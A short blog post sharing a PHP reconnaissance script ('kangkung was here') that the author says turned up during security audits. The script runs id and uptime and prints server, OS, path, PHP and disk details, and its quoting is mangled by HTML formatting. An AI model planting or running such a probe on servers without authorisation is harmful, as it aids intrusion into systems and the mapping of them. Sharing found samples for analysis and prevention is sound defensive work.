Some Hack Script

After my fare share of performing security audit, these are some hacking script I found, not for the purpose of hacking, but for education, analysis and prevention.
<br /> function ConvertBytes($number)<br /> {<br /> $len = strlen($number);<br /> if($len < 4) { return sprintf("%d b", $number); } if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); } if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); } return sprintf("%0.2f Gb", $number/1024/1024/1024); } echo "kangkung<br />“;<br /> $un = @php_uname();<br /> $up = system(uptime);<br /> $id1 = system(id);<br /> $pwd1 = @getcwd();<br /> $sof1 = getenv(“SERVER_SOFTWARE”);<br /> $php1 = phpversion();<br /> $name1 = $_SERVER[‘SERVER_NAME’];<br /> $ip1 = gethostbyname($SERVER_ADDR);<br /> $free1= diskfreespace($pwd1);<br /> $free = ConvertBytes(diskfreespace($pwd1));<br /> if (!$free) {$free = 0;}<br /> $all1= disk_total_space($pwd1);<br /> $all = ConvertBytes(disk_total_space($pwd1));<br /> if (!$all) {$all = 0;}<br /> $used = ConvertBytes($all1-$free1);<br /> $os = @PHP_OS;</p> <p>echo “kangkung was here ..<br />“;<br /> echo “uname -a: $un<br />“;<br /> echo “os: $os<br />“;<br /> echo “uptime: $up<br />“;<br /> echo “id: $id1<br />“;<br /> echo “pwd: $pwd1<br />“;<br /> echo “php: $php1<br />“;<br /> echo “software: $sof1<br />“;<br /> echo “server-name: $name1<br />“;<br /> echo “server-ip: $ip1<br />“;<br /> echo “free: $free<br />“;<br /> echo “used: $used<br />“;<br /> echo “total: $all<br />“;<br /> exit;<br />